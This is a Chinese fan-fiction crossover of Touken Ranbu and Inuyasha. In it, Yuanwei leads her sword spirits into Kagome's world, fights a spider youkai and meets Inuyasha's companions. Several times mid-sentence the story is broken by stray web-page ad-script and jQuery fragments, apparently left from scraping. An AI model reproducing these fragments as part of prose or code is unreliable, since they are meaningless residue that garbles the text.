“怎么了,还没有决定吗?”耳边传来又甜又软的熟悉声音,鸢尾侧头,发现髭切不知道什么时候进来了,半蹲在她身旁,一缕和他声音一样柔软的金发从她的脸侧蹭过,留下一点痒意。 膝丸端着切好的水果在障子门外欲言又止地看着把天守阁当成自己部屋、没通报就大咧咧地走进去的兄长,手足无措地立在原地。还是鸢尾笑着让他进来,才松了口气,小心地把透露着精致的果盘轻放在鸢尾一伸手就能拿到的地方。 “嗯嗯,很好吃呢,你也吃一个。”髭切自然地坐下来,用果盘上面的小木签插了一颗去籽樱桃递到鸢尾嘴边。 鸢尾笑着睨了他一眼,还是轻轻张口衔走那颗殷红欲滴的樱桃。“膝丸也坐下来吧。”看到膝丸还在一边站着,并且正在极其认真地垂下眼光研究地板的纹路,鸢尾含着樱桃模糊地说道。 “是!”听到鸢尾的声音,膝丸一板一眼地坐到旁边。 髭切把下巴搭在鸢尾颈窝里,上扬的猫眼含着一抹微不可察的笑意,然后就被鸢尾轻轻拽了一下发尾。他随着鸢尾的力道偏了偏头,目光落在刀账上,“听说他们的那个世界妖怪很多呢……对吧,蜘蛛切?” “是膝丸啊,兄长。”因为长期被叫错名字而养成了提醒的习惯,膝丸下意识纠正了髭切说的名字,然后才反应过来他话里的内容。他顿了顿,对鸢尾正色说道,“确实如此,主公。” “所以,如果您还在考虑要带哪一些人的话……可能有斩杀过妖怪的付丧神会更合适一些。”说完,他的嘴唇嗫喏了一下,好像要说什么,又被他吞回去了。 “嗯……这点倒是,我会好好考虑的。”鸢尾敛眸,食指无意识在刀账上点了点。她大病初愈,本来就很白皙的皮肤现在看起来更是如同白瓷一般,留下精雕细琢般的脆弱,唯有指尖还残留一点淡淡的粉色。 再翻了一遍刀帐,鸢尾心中已经大致有了人选。轻轻摆开把她圈住、充当“暖身宝”的髭切,鸢尾提笔写下这次出阵的名单。 “不动行光,笑面青江,千子村正,髭切,膝丸,大典太光世。” 膝丸的目光流过这份名单,看到自己与兄长的名字,露出一点笑意。不过在看到其他人的名字时,还是不禁停顿了几秒。 ……不动行光倒还好,修行归来后成长了许多。可是某个因为喜欢口花花而经常在鸢尾一出现就被拖开的青发大胁差,某个整天神秘地笑着、把“脱”放在嘴边的打刀,还有某个时不时就来向鸢尾申请要住进仓库里的太刀? 倒不是不相信他们的实力,只不过性格这么有特点的人凑在一起,主公的异世之途真的会如想象中顺利吗……? 膝丸不确定地看了一眼鸢尾,却收到她一个笑着无辜回望的眼神。一时语噎,他寄希望于同队的兄长能看得出来有什么不对的地方。 他期待地看见髭切张口—— “不是队长吗?嗯……不过不用担心,我不会因为这个就砍了自己人哦?” 兄长,这不是队不队长的问题吧! 膝丸眼前一黑。看到鸢尾把纸塞进自家兄长怀里,准备就这样让他们拿去通知大家,还是忍不住想开口提醒。 不过嘴还没张开,就被髭切在背后轻推了一把,“走吧,聪明丸。主公的吩咐干得快的话会不会有奖励呢?” 茫然地跟上兄长的脚步,膝丸安静地走了一会儿,还是忍不住开口问道,“兄长,我们不需要提醒一下主公吗?” “提醒什么呢?”髭切把怀里的纸掏出来,朝膝丸扬了扬,一阵熟悉的馨香从纸上被风带到他们鼻尖,“能足不出户就知道本丸里发生的所有事,主公还会需要我们提醒吗……嗯……不动行光?” “兄长,不要因为在纸上看到了一个名字就把它当做是我的名字啊……我叫膝丸……”膝丸心累地叹了口气。不过通过刚刚髭切的话,他也知道是自己想岔了。付丧神通过灵力与主公相连,他们的一切在主公面前都是无可掩盖的——与其质疑她的决定,更不如直接执行,尝试看出她的用意。 又学到了一点,膝丸感慨道,看来他对主公的了解还是不够深入。接着他又将目光落在前面髭切的背影上,由衷地赞美:仅凭主公的几句话就推测出她的用意——真不愧是兄长啊! 如果……如果兄长能记住自己的名字就更好了…… —— 总而言之,出阵名单一贴,虽然大家不知道他们比自己好在哪里,以致于能被鸢尾选上,但都还是选择相信自家主人的判断。 ——不过背地里把此次跟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 随出阵的付丧神念了多少遍、与他们约了回来之后的多少次手合就不得而知了。 “……主公身体还没有完全好,遇风遇冷就容易咳嗽,一咳嗽就会跟着心口痛,所以绝对、绝对不能喝冷水,知道了吗!” “知道了,长谷部,长耳朵的人都知道了……这已经是你说的第八遍了,我都能倒着背下来了。”不动行光一边检查自己的刀装和御守一边应付旁边絮絮叨叨的长谷部。不能怪他不专心,任何人在自己已经熟记于心的东西又被拿出来讲了八遍之后都会是他的这个反应的。 从知道出阵名单开始到现在,短短几个小时的时间里,长谷部一直一副忧心忡忡的样子,把新更新的“近侍手册”在他们几个人的耳边念了一遍又一遍,重点划了一次又一次,生怕鸢尾跟着他们出去一趟就把好不容易养好一点的身体又弄伤了。 “喂,不动,准备好了没有?”在长谷部准备念第九遍的时候,膝丸在门外解救了他。 “好了,马上过来!”装备完成,不动行光匆匆向庭院跑去,长谷部被打断,只好跟在后面赶去。 时空转换装置前,鸢尾站在最前面,狐之助蹲在她身侧,同行的付丧神则排成两排跟在她身后。戈薇到的时候,看到的就是没能一起去的付丧神排着队被鸢尾挨个摸头顺毛的场景,偶尔排到一两个看起来快要哭出来的小孩子的时候,鸢尾还得蹲下来抱一会儿,或是在他们的额头落下一个轻吻。 审神者这个职位,没有耐心的人还是挺难以驾驭的。戈薇再次发出感慨。 好在她到的时候,长长的队伍已经轮到末端了,因此她也没等太久。 “抱歉,让你久等了。”安抚完最后一个付丧神,鸢尾准确地接住跳进怀里的狐之助,对戈薇露出一个无奈又歉意的笑。 “没事没事,我也没有等很久。”戈薇连连摆手,还俏皮地朝鸢尾眨了眨眼睛,“而且我也能看出来,你其实乐在其中哦。” 在这几天的相处中,知道鸢尾随和温柔的本性,戈薇早就不像刚来的时候一样拘谨;在鸢尾的辅导下,她对灵力和箭术的掌握也都有了巨大的提升——现在,对于亦师亦友的鸢尾,戈薇甚至都会偷偷和她贴贴以及和她开一些无伤大雅的小玩笑了。 被说中的鸢尾也不恼,在唇角留下一抹轻快的微笑,转身向时空传送装置输入灵力。金色的细碎光点在她周身飘逸,衬得她更像一位悲天悯人的圣女,“走吧,带你回家了。” 听到这句话,戈薇的眼眶却有点发烫。她连忙低头,掩住自己的狼狈,也掩住自己无规律的、慌乱跳动着的心。 不知道是不是因为归家心切,还是近乡情怯,在一阵柔和的金光笼罩在自己和鸢尾他们身上之后,戈薇再一睁眼,食骨之井破败粗糙的井底就已经映入眼帘。 复杂的情绪还没来得及涌上来,戈薇环视四周,发现了一个严重的问题——说好要跟她一起过来的鸢尾呢?! 33.猎人与猎物 等一下……不会吧! 她想起在传送之前,鸢尾和她提过,由于一次性传送的人数有点多,可能会导致时空通道不稳定,大家最后不一定会落在同一个地点……不过鸢尾不是也说这样的可能性很小吗?难道真的被她们遇到了? 想到这里,戈薇赶紧手脚并用向外面爬去。来到外面,她才意识到现在还是夜晚,这里的时间还停留在她看见犬夜叉与桔梗在一起的时候…… 不过现在不是想这些的时候,戈薇摇摇头,甩开心里杂乱的想法。鸢尾他们刚到这里,什么都还不熟悉就与自己分开,这样还是太危险了——现在的当务之急是赶紧找到他们。 “戈薇……?” 听到熟悉的声音从背后传来,戈薇身形一僵。她垂下眸子,慢慢转身,看到犬夜叉还是站在原来的位置。 “你……”犬夜叉向她的位置走了几步,张了张嘴像是要说什么,不过还是没能说出口。 对了!戈薇看着眼前的犬夜叉,内心突然有了一个想法——她打开自己随身携带的包,找到了鸢尾出发之前送给她的御守。 “犬夜叉,快,闻闻看这个上面的气味!”她顾不上什么其他的心思,只想赶紧借助犬夜叉强大的嗅觉找到鸢尾他们。戈薇上前几步,扯着犬夜叉的衣服下拉,把御守怼到他的鼻子下面,“快闻快闻,你能找到这个气息最浓郁的地方在哪里吗?” “哈?我又不是狗!”虽然被戈薇突然的动作弄得莫名其妙,不知道她那么紧张是因为什么,不过犬夜叉还是照做,仔细分辨了一下御守上面的气息。记住了御守上面的气味,他的鼻子在空气中嗅闻着,试图通过风向找到最浓郁的地方。 ……找到了,在那里。他睁开眼睛,锐利的眼神从一个方向穿过密林。 —— 鸢尾这边,一落地就遇到了一个不大不小的麻烦。 没有像计划中的一样与戈薇同时降落在食骨之井——甚至比那更糟糕一点,她与自己的付丧神们也分开了,独自一人掉到了漆黑的密林中。 还真是一语成谶了。想到出发时对自家留守的付丧神们的担保,鸢尾忍不住无奈地叹了口气。 不过她倒是没太担心。她闭眼感知了一下自己体内的灵力——与本丸的联系确实有所削弱,变得时有时无,但是对于找到跟随着她来到这里几个付丧神来说,这样的联系已经足够了。 一阵阴冷的风席地刮起,将她垂落在脸侧的发丝扬至空中。 鸢尾睁开眼,旁撤几步躲开随着风向向她射来的几根微不可见的透明蛛丝。蛛丝一击不中,顺着惯性缠绕在刚刚她所在位置后面的巨大枯木上。枯木剧烈抖动了一瞬又恢复平静,仿佛无事发生。但一息过后,它在鸢尾的注视下骤然出现一道透穿的裂痕,巨大的主干轰然倒塌。 空气中窸窸窣窣的细碎响声将鸢尾悄然包围,她抬眼向其中一道比较特别的声音的方向看去。 “好香啊,好香啊……” 是一只长着人脸的巨大蜘蛛。 它约有两个人高,左右两边各有四条覆盖着诡异黑色绒毛的步足,上粗下细,末端微尖,正钉在土里,支撑着它庞大的身躯。 顺着有鸢尾两个大腿粗的步足仰头向上望去,明明其他部分都还是蜘蛛等比例放大的样子,它的中间却是一张长了六只眼睛的人脸,不过脸上也覆盖着和腿上一样的毛,嘴巴的地方变成了蜘蛛的口器,现在一边重复着“好香啊”,一边不时有口水从中滴落。 鸢尾凝神看去,它滴落的口水正在将下方的土壤腐蚀,汇成一个个小小的坑,坑中的土壤不堪重负地发出“嘶嘶”的声音,传出恶臭的气味。 这还是一只剧毒的蜘蛛。 周围一直窸窸窣窣的声音也停了下来,比它小一些的、没有长着人脸的小蜘蛛们隐藏在黑暗的密林中,黑色的眼睛随着天上被云层遮住的月光时隐时现,准备随时给眼前的猎物致命一击。 纵然已经习惯了和长得奇形怪状的时间溯行军打交道,可看到此时眼前的场景,鸢尾的额角还是忍不住抽动了一下。原因无他——在正式对鸢尾发动攻击之前,它们的长相已经开始对见到它们的人进行精神上的污染了……感觉时间溯行军和它们比起来还是小巫见大巫了。 “吃掉……吃掉!” 嘴里念着的台词突然发生变化,巨型蜘蛛的六只眼睛同时锁定住鸢尾。它的肢节灵活地运动,向鸢尾靠近几步,从口器中吐出大量和刚刚一样的蛛丝向鸢尾卷去。埋伏着的小蜘蛛们也收到了指令,同时向鸢尾爬去,就像一条流动的黑色毯子一样,即将将她包围。 唉,没想到才刚来就被这个世界送了一份“大礼”啊…… 鸢尾用灵力在脚下汇聚成一朵柔软的云,借力将自己送到空中,同时躲开蛛丝和小蜘蛛的袭击。滞留在空中的时候,金色的灵力再次在鸢尾手中凝成弓与箭,一抹流光的飞羽带着破空的声音准确地贯穿它的一只眼睛。 “啊——”蜘蛛吃痛,发出尖锐的叫声。它被鸢尾激怒了,对准她的方向从嘴里吐出更多的蛛丝,试图将这个伤害到自己的猎物碎尸万段,然后再将她充满香气的诱人血肉一块块蚕食而尽。 不过它的愿望没能实现,一道闪着寒光的锋利刀芒切断了它坚韧的蛛丝。 怎么会?! 巨型蜘蛛愣住了。它不明白发生了什么,想不清楚为什么自己引以为傲、战无不胜的蛛丝会被切断。不仅如此,在它愣神之时,又是几道猝不及防的刀芒闪过,它的小蜘蛛们也死伤大半。 “做的不错呢,蜘蛛切。”从密林中相继现出身形,髭切微笑着拍拍自己弟弟的肩膀,“主公看到了应该会很开心吧。” “兄长,我现在叫膝丸啊……”严肃的神情一秒破功,膝丸转过头朝髭切解释,“蜘蛛切是我以前的名字了。” “哦?是这样吗。可是现在你也砍了蜘蛛,不然还是叫蜘蛛切吧。”髭切被黑色手套包裹的手指随意地点了点自己的嘴唇,弯着眼提议道,“不过,还是要在把这只蜘蛛砍死之后再说呢。” 其他付丧神也提着刀向蜘蛛逼近。在他们不在的时候妄图伤害自己的主人,真是……很有胆量呢。 局势逆转,现在被包围的成了刚刚还洋洋得意的巨型蜘蛛。 虽然不够聪明,但它 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 趋利避害的动物本性起作用了。它开始害怕了——逃,要逃。诱人的猎物还在空中飘着,但它眼眶里传来的剧痛却在告知着它这个猎物的不好惹,再加上她居然还有帮手…… 它压低身体,一次性将体内所有的蛛丝都吐出来。铺天盖地的细密蛛网笼罩了众人的视线,它趁此机会飞速地移动着自己灵活地肢节,准备悄悄逃脱。 但看似柔弱、被它忽略的猎物才是最后送走它的镰刀。 “大典太,十二点钟方向!” 大典太光世听到鸢尾的指令,下意识尽全力地朝她所说的方向挥出一刀。裹挟着强大灵力的刀芒将巨型蜘蛛左边的四条步足齐齐斩断,它朝左侧坍塌,蜷缩在一起,试图通过坚硬的背部保护自己。 “青江、千子、不动,攻击它的脸部。”大胁差与打刀开眼,短刀则凭借着自己机动的优势,蜘蛛的眼部受伤,再无法判断周围情况,剩下的四根步足在空中胡乱地挥舞着。 “髭切,膝丸,把它翻过来。”兄弟二人对视一眼,默契地挥刀,叠加在一起的冲力犁开土地,将蜘蛛巨大的体型翻转。 最后…… 鸢尾微微眯起眼睛,瞄准蜘蛛唯一没有覆盖着黑色绒毛的腹部,在它被翻过来的那一瞬间果断地松开拉满的弓弦。灵力如同夜空中的流星般划过,带着细碎的光点精准命中鸢尾的目标,然后与蜘蛛残破的身体一起,一寸一寸消逝在风中。 果然。鸢尾的弓箭从手中消散,她也缓缓落到地面。 从第一眼见到这只蜘蛛开始,鸢尾就觉得不对劲。明明有那么长的步足,它却一直是压低着身子的。要不然藏着终极武器,要不然藏着致命弱点。 ……不过表现得这么明显,是生怕别人看不出来吗?鸢尾默默吐槽。 不远处的付丧神们也围了上来。不动行光绕着她转了一圈,紧张地检查她有没有受伤,甚至还打算拉开她的袖子看看有没有被衣服遮住的伤口。 “真的没事……”鸢尾注视着他因为紧张地抿着嘴而略微膨起来的柔软脸颊,还是忍不住戳了一下,指尖在他的脸颊上陷进去一个小坑。嗯,果然和想象中的一样软。 不动行光却顾不上她的小动作。他刚刚就注意到了,这只蜘蛛看起来毒性很强,蛛丝上很有可能也暗含着毒,而且它的蛛丝又那么细,形成的伤口一不小心就容易被忽略。尽管鸢尾说没事,可依照她对自己身体的上心程度,自己实在是放不下心来…… “真的、真的没事?” 把她露在外面的以及容易受伤的地方都检查了一遍,看到确实是完全没有伤口,不动行光才稍微松了口气,又不确定地问了一句。鸢尾轻轻掐了一下他的脸颊肉以示回答。 “鸢尾!” 终于赶到的戈薇神色紧张地从犬夜叉背上跳下来,看到鸢尾与自己的付丧神们待在一起,她刚放下心来,就看到周围的一片狼藉。 “我没事。”鸢尾抢先回答,顺便还在她面前转了一圈,展示了一下毫发无损的自己。 戈薇被她噎住了,还没来得及开口说下一句话,一旁的犬夜叉就插嘴进来,“喂,戈薇,他们是谁啊?” 34.巫女与疑云 听到犬夜叉的话,戈薇动作一僵,慌乱地与面前的鸢尾对上眼神。 ……怎么办? 虽然对于自己而言,已经到另一个世界一个多星期了,但对犬夜叉他们来说,自己不过是刚离开不过几分钟而已——所以自己要怎么解释突然冒出来、还与自己这么熟稔的鸢尾他们啊? 戈薇倒是有想过直接向他说明异世界的事情。但是一方面,连通两个世界的通道自然是越少人知道越好,另一方面,鸢尾有向她说过,他们不能与这里产生过于紧密的联系,否则会对两个世界的意识都产生不妙的干扰。 所以……到底什么身份可以让他们又合理地出现又合理地消失啊! “戈薇,没事的,只是巫女的身份,并没有什么不能说的。”鸢尾注意到戈薇手上攥着的御守,给她递了一个眼神。 “对,其实鸢尾是一名避世的神社的巫女,是我在之前认识的。”戈薇大脑飞速运转,试图把这个设定补充完善。她朝犬夜叉扬了扬手里的御守,“这个御守就是她送给我的。” “那他们呢?”犬夜叉将信将疑,“而且你什么时候认识他们的,我怎么都不知道?” “他们是鸢尾的侍从,没看到他们都拿着刀要保护她吗。”对不起了付丧神们,戈薇在心里默默道歉,脸上确是一派正经,“至于什么时候认识的……我们又没有一直待在一起,自然是在你不知道的时候认识的。” “……哦。”总感觉哪里怪怪的,不过看到戈薇与他们那么亲近,犬夜叉挠了挠头,还是放下了心中的疑惑。 看到他不再继续追问,戈薇心中的大石头才终于落地了。她四处张望了一眼,却觉得好像少了点什么——不过人数好像也对的上啊? “狐之助不见了。”看出她的疑惑,鸢尾揉了揉额角补充道。 这可真是一次不太成功的穿越,一共才来了几个人,全都拆得七零八落的。 想到时之政府来之前信誓旦旦的话,说绝对只是小概率事件,可却偏偏被他们撞上了……难道他们运气真的已经糟糕到这种程度了? 算了,无论如何,至少平安抵达了。鸢尾与戈薇对视一眼,都从彼此的眼神里看到了安慰。 “那狐之助怎么办?你还能知道它在哪里吗?” “嗯。”鸢尾朝西方看去,“我们去找找看,之后再去找你们吧。” “还是我跟你们一起去吧。”戈薇不太放心,“这里的地形我应该还是比较熟悉,要是遇到了什么还是可以帮上忙的。” 虽然不知道他们在说什么,但听到戈薇也要跟着一起去,犬夜叉犹豫了一下,还是搭口道,“那、那我也去。” 见他们都已决定,鸢尾也没有再多说什么,对他们两人微微颔首,“那就先谢谢你们了。” 语毕,一行人朝着密林的西面出发。不过越走,戈薇和犬夜叉却觉得越熟悉——这……好像是通往他们落脚点的路? 果不其然,再一眨眼间他们就看到了熟悉的建筑,也听见里面闹腾的声音。 “快放开咱啊,狐之助不是坏人!呜呜呜,鸢尾大人快来救咱啊——” 听见狐之助的声音,鸢尾快步向屋内走去,其余付丧神和戈薇他们也急忙跟在她后面。刚一进门,就看见狐之助被一个女生抓着,四条短短的腿在空中扑腾,嘴里还不断念着鸢尾的名字。 “狐之助。”听到陌生的声音,屋内的人也纷纷转过头来。 “鸢尾大人,快来救咱!”狐之助生无可恋的眼睛里终于在看到鸢尾时透出强烈希望,身后毛茸茸的尾巴晃啊晃,扫过珊瑚的手。 “啊,珊瑚,这是狐之助,它不是坏人的。”戈薇也赶紧上前解释。听到戈薇的话,珊瑚松开了手,狐之助落到地上,立马跳回鸢尾怀中。回到安心的地方,还不待鸢尾追问,狐之助就自觉地像倒豆子一样把刚刚的遭遇都向他们说了。 原来是它一到这个世界就和鸢尾他们失散了,好巧不巧掉到了犬夜叉他们休息的地方。当时在门外的七宝发现了它,被突然出现的它吓了一跳,惊动了屋内的珊瑚和弥勒,然后狐之助就被他们抓住了,这才有了刚刚的那一幕。 而珊瑚和弥勒那边,经过戈薇的解释,也大概知道发生了什么。 “这……不好意思。”珊瑚上前对鸢尾和她怀里的狐之助说道,“我刚刚还以为它要伤害七宝,一时心急才把它抓住了。”她微微矮下身,盯着狐之助真诚地道歉,“对不起啊。” 见狐之助和鸢尾都摇摇头表示不在意,珊瑚才撑起身子,略带好奇地看着鸢尾,“话说回来,既然是避世的神社,那你们这次是来这里干什么呢?” “其实……我们是来寻求帮助的。”鸢尾组织了一下语言,希望降低他们对自己的戒备,“我的身体承受不住我的灵力,所以希望能借助四魂之玉平息它。” 四魂之玉还有这种作用?珊瑚只知道它能增强和恢复妖怪的妖力,还从来没有听说过它能治病。不过看着鸢尾诚挚又温和的眼神,珊瑚也不禁被她的美貌晃了一下神,下意识地把她的话听了进去——话说,她还从来没有见过像这位巫女一样好看的人呢…… 显然,在场的人也有和她一样的想法。弥勒绕过众人,突然来到鸢尾面前,对她露出一个温和的微笑,“你能为我生个孩子吗?” ?饶是见多识广的鸢尾,此时也忍不住冒出了一个问号。 而她身后的付丧神们的反应就更大了。“锵”,不同种类的刀纷纷从刀鞘内被顶出,露在外面的半截刀身闪过寒利的锋芒。 “嗯……好像听到了一些不太好的话呢,看来你是被妖怪附身了吧。”髭切软绵绵的声音里悄无声息地参杂进一丝寒意。 青发大胁差的眼睛里也闪过寒芒,“如果是这样,我也可以帮助你——我指的是斩杀妖怪。” “呼呼呼,原来你也想见识一下‘妖刀’的锋利吗?”千子村正脸上依旧带着神秘微笑的表情,不过眼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 里却不见一丝笑意。 剩下的几个比较寡言少语的付丧神也纷纷拔出了手中的刀,默默盯住眼前这个冒犯主人的家伙。 他们与时间溯行军在千万场拼杀中形成的肃杀气息从刀中传出,让犬夜叉一行人都忍不住一滞。 这种感觉……给自己带来的危险程度甚至远胜于之前遇到过的所有妖怪。他们真的只是普通避世巫女的护卫?如果真的是,护卫都如此,那眼前的这个巫女……他们忍不住看了一眼在这样的气氛下还带着淡然笑意的鸢尾,纷纷往后退了几步。犬夜叉甚至都准备拿出自己的铁碎牙了。 戈薇也忍不住咽了咽喉咙。在鸢尾本丸的日子里,付丧神们受鸢尾的要求都对她十分友善,她也没见过他们在战场上的样子,这也是她第一次正式感受到他们的压迫感…… 不过鸢尾还是拦住了准备在她一声令下后就将弥勒首落的大家。她停顿了一会儿,眼神轻飘飘在弥勒身上转了一圈。在他忍不住跟着她的眼神开始审视自己的时候,鸢尾收回眼神,勾起一点嘴角,“没事,相信您也是一时口快,是吗?” 虽然在时之政府的资料中就知道这位弥勒先生喜欢说出一些……轻佻的话?但是对于鸢尾来说还是有点语出惊人。尽管知道这是他的性格,但还是不太喜欢自己和别人被这样对待,鸢尾希望他能对此留下深刻的影响。 “啊……是、是的,抱歉抱歉。”不知道她为什么看了自己这么久又不说话,弥勒默默后退两步,离这位看起来就不好惹的巫女远了些,然后就被后面的珊瑚往后脑勺上呼了一个巴掌。弥勒忍痛给了戈薇一个眼神,希望她缓解一下现在尴尬的局面。 戈薇无语地回了他一个眼神,最后还是走出来对鸢尾说道,“对了,我们还是来聊聊四魂之玉的事吧。” 鸢尾示意身后的众人收回刀,一行人终于能够好好坐下谈正事了。 “四魂之玉现在……大部分都在奈落的手上。”戈薇停顿了一下,观察到鸢尾没有变化的表情,就知道她大概清楚这里目前的情况,便继续说道,“所以,如果你想接触到它的话,可能需要与奈落打个照面了——不过,这很危险。” “而且奈落行踪不定,很难找到他在哪里。所以,鸢尾,这段时间你们要不还是跟我们一起走吧?” 作为她在异世界交到的朋友、同时也是她箭术上的老师,戈薇只希望鸢尾能顺利且稳妥地弄清四魂之玉所谓的“平衡”,然后借助它的力量尽快恢复健康,不要再遭受灵力的折磨。她拉住鸢尾的手,希望她能好好考虑自己的话。 鸢尾看着被她握住的指尖,似乎愣了一下。她轻轻呼了口气,拉住戈薇的手指晃了晃,蜜色的眼睛望进戈薇坚定的眼底,“好啊,那这段时间就要麻烦你照顾我们了。” “一言为定!” …… 在某个地方,奈落把玩着手上一把散发着不祥气息的短刀,看着神无镜子里传来的画面,流露出一抹不明的笑。 35.守夜与阴谋 鸢尾一行人就这样跟着戈薇他们住了下来。 “主人看起来一点都不着急呢。”笑面青江提着刀倚在门口,背对着屋内,敏锐的感官还是能让他听见衣服与被褥摩擦的细碎声响。 异世比不过与世隔绝的本丸安全,更不用说是在这样一个妖怪横行的世界;再加上这里的房间都离得太远,要是夜里鸢尾有什么需要或遇到什么危险,他们担心自己无法及时赶到。大家商量了一下,还是决定轮流到鸢尾房间守夜,笑面青江抽到了今晚的第一个顺序。 “呵,那我就不客气了——我指的是守夜哦。” 嘴上说着一贯的似是而非的话,动作还是很贴心的嘛。鸢尾看着他可靠的背影,顺便在自己被窝的旁边添了一件被褥。 “可以了,青江进来吧。”付丧神循声转头,看到自己的主人拍了拍旁边的一席被子,一脸自然地想道,“晚上守夜的话,你们就在旁边休息好了。” “原来是邀请吗?”他抬脚向她走去,明明说出了这样模糊的话,却还是在她脸上看见一派毫无防备的神情。 哎,这可真是…… 擅长让人想入非非的付丧神也拿尚未开窍的人没有办法,只能在心里摇摇头,顺势躺在她的旁边。 月亮透过木质窗棂在地上留下不甚明朗的水波纹,身处在其中的人就像飘在水面上。静得能听见彼此的呼吸声。 温度似乎也能透过一层不是很厚的被子传播,笑面青江在这样静谧的夜里难得感受到了一丝不自在。沉默了一会儿,他又挑起刚刚的话题,“所以,主人是怎么想的呢?” “怎么想的……”鸢尾好像完全没有和他一样的感受,已经酝酿出了朦胧的睡意,但还是含混地试图回答他的问题,“时空通道是因我而改变的,自然也能察觉到悄悄混入其中的一些家伙吧……总之……会来找我们的……” 呼吸越来越悠长,后半段的话已经完全听不清了。青江动作尽可能轻地侧过头,注视着她被浓密又细长的鸦青色羽睫压下的一小片阴影。 半晌,他幽幽地叹了口气。 还真就这样睡了啊…… …… 第二天清晨,鸢尾精神抖擞地把自己从被窝里掏出来,就对上了旁边膝丸沧桑的、似乎一宿未眠的目光。 “膝丸……你没休息好吗?是不太习惯旁边有人和你一起睡吗?”鸢尾关切地问道。 “不是的……就是有点。。。”就是有点心累。在从守夜换班的笑面青江那里得知可以睡在鸢尾旁边之后,在莫名欣喜又羞涩之余,他也突然有了点不好的预感。果不其然,千子村正又讲出了他特色的发言——“能有此殊荣,果然还是要通过脱来表示对主人的尊敬吧”。 ……不脱的话可能更尊敬一点吧。 虽然觉得千子村正应该只会在嘴上说一说,并不会真的在鸢尾面前做出这样的举动,但出于谨慎,在他守夜的时候,膝丸还是在门外盯了一夜。后面又遇到自己兄长突然开玩笑似的提出想躺进鸢尾的被窝里试试看有什么不一样,自己只好又提心吊胆地守着…… 在轮到最后的自己守夜时,天已经快亮了。一晚上经历了这么多事,躺在鸢尾身边,膝丸又产生了一种恍惚的感觉,盯着鸢尾恬静的睡颜,不知不觉就盯到了她醒来。 不过这些小事就不用影响到她了,她能休息好就够了。膝丸如此想着,便用不太适应这里的环境为借口想揭过这个话题。鸢尾细细地看了他几眼,突然伸手把他拉到自己还有余温的被窝里,手一抖,被子就轻飘飘地落到他身上。 膝丸还没反应过来,就已经落入了馨香的陷阱。 “今天白天应该暂时还不会有什么事情,膝丸还是要好好休息啊。”鸢尾把手盖在他的眼睛上,他的睫毛在她的指跟处颤抖了一瞬。 “没事的,刀剑付丧神一时不休息也不会很累的,您不用……”膝丸的手从被窝里挣扎着探出,又被鸢尾用另一只手勾住了指尖。眼睛被遮住,怕自己乱动伤到鸢尾,膝丸不敢用力,只能被她拉着手塞回被窝里。 “不会累又不代表不需要休息,听话听话。”一阵温暖的灵力从眼眶处涌过,舒缓了膝丸一夜未闭的眼睛的轻微不适。虽然想着不要睡着,但在鸢尾灵力的滋润下,他紧绷着的身体还是慢慢放松,意识也渐渐迟缓。 看到膝丸一直紧抿着的嘴唇松开了些,鸢尾停下了灵力。她的手转到膝丸蓬松的头发那里轻轻捋了捋,看着被自己弄翘的几根发丝偷偷笑了一下,又收回手,轻手轻脚地走出去。 “嘘。”她朝蹦蹦跳跳晃着铃铛来找她的狐之助竖起一根手指,指了指外面。狐之助听话点头,乖巧地蹲在原地等鸢尾过来抱它。 “怎么样,大概能探测到有多少吗?”抱着狐之助走远了一点,鸢尾轻声问道。 “大概有二三十个,各种类型都有,但是目前都潜伏起来了……咱暂时探测不到他们的具体位置。” “没关系,”鸢尾耐心地顺了顺狐之助的毛,“只要他们的目标是我,就一定会出现的,只是或早或晚罢了。” “嗯嗯!”狐之助信任地点头。它张口,刚想好好夸一夸鸢尾,肚子就争先恐后地比嘴巴更快一步发出了声音,“咕噜咕噜~”。 鸢尾失笑,把因为觉得自己太丢脸而埋进她怀里的狐之助兜了兜,“走吧,我们去吃点东西,正好我也饿了。” “是……”狐之助有气无力地应道,露在外面的毛茸茸大尾巴在空中乱晃,被鸢尾随手抓住撸了一把。太丢脸了……只有油豆腐才能拯救自己受伤的心灵! —— 鸢尾预料的没错,今天白天确实无事发生,甚至到夜里都是一片宁静。 “大典太?”鸢尾看到站在门口迟疑的大典太光世,期待地盯着他。 避开鸢尾灼灼的目光,大典太光世敛下眼眸,走动间红绳朝着肌肉绷紧又松开。他僵硬地坐到她旁边,阴郁地说道,“已经都按照你的吩咐安排好了。” “嗯嗯,到时候还要辛苦你们了。”鸢尾一边整理着被子一边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回复,随即舒服地躺下,发出一声满意的喟叹。现在可要好好休息,要是没猜错的话,晚点还要被吵醒呢。 “你也睡呀。”她从下方朝上望去,幽暗的灯光落进她的眸子里,晶莹剔透,从大典太的角度看她,仿佛真的有甜美的蜂蜜将要从她的眼里流出。 “……嗯。”他也学着她的样子扬开被子躺进去。 比起温暖舒适的被窝,大典太更熟悉的是阴暗沉闷的仓库。可是在被她召唤出来之后,像她说的一样,自己就再也没有回到过仓库了。 别人眼里避之不及、害怕会被伤害到的灵力在她这里却不会对她产生影响,甚至由于他分走了相当一部分灵力,鸢尾还专门过来感谢过他,给他送了一小碟自己亲手做的团子。 很微妙的感觉,大典太想。 初次见到她的时候,他觉得鸢尾就像当时桌上摆着的茶点盘里的那个小团子,像他这样过于危险的付丧神,不能靠近,不能接触,似乎稍微大一点的力气就会让她受伤。但好像又不是这样,在大典太小心翼翼捏起她送的团子后,才发现这种软糯可爱的糕点并不像自己想的一样,一碰就碎。 它有着自己的弹性,她也是。所以才能管理好这么大的一个本丸吧。在不断的远征、出阵中,大典太慢慢找到自己存在的意义,也渐渐明白第一次与她见面时她回答自己的疑问时所说的话的含义。 不需要被封印,因为在她的本丸里,每个人都有自己的位置。在一次跟随作战时,她擦去脸颊上沾到的敌人的血,这样笑着跟他解释。 ……大典太闭着眼睛,回想着当时的场景,想起她当时擦掉的那一抹殷红的血。时间慢悠悠地流动着,不知过了多久,他的思绪突然被外面与略有平时不同的声音打断。 来了。 他睁开眼,与鸢尾一片清明的眼睛对上。两人立即起身,笑面青江与不动行光刚好也抵达门外。 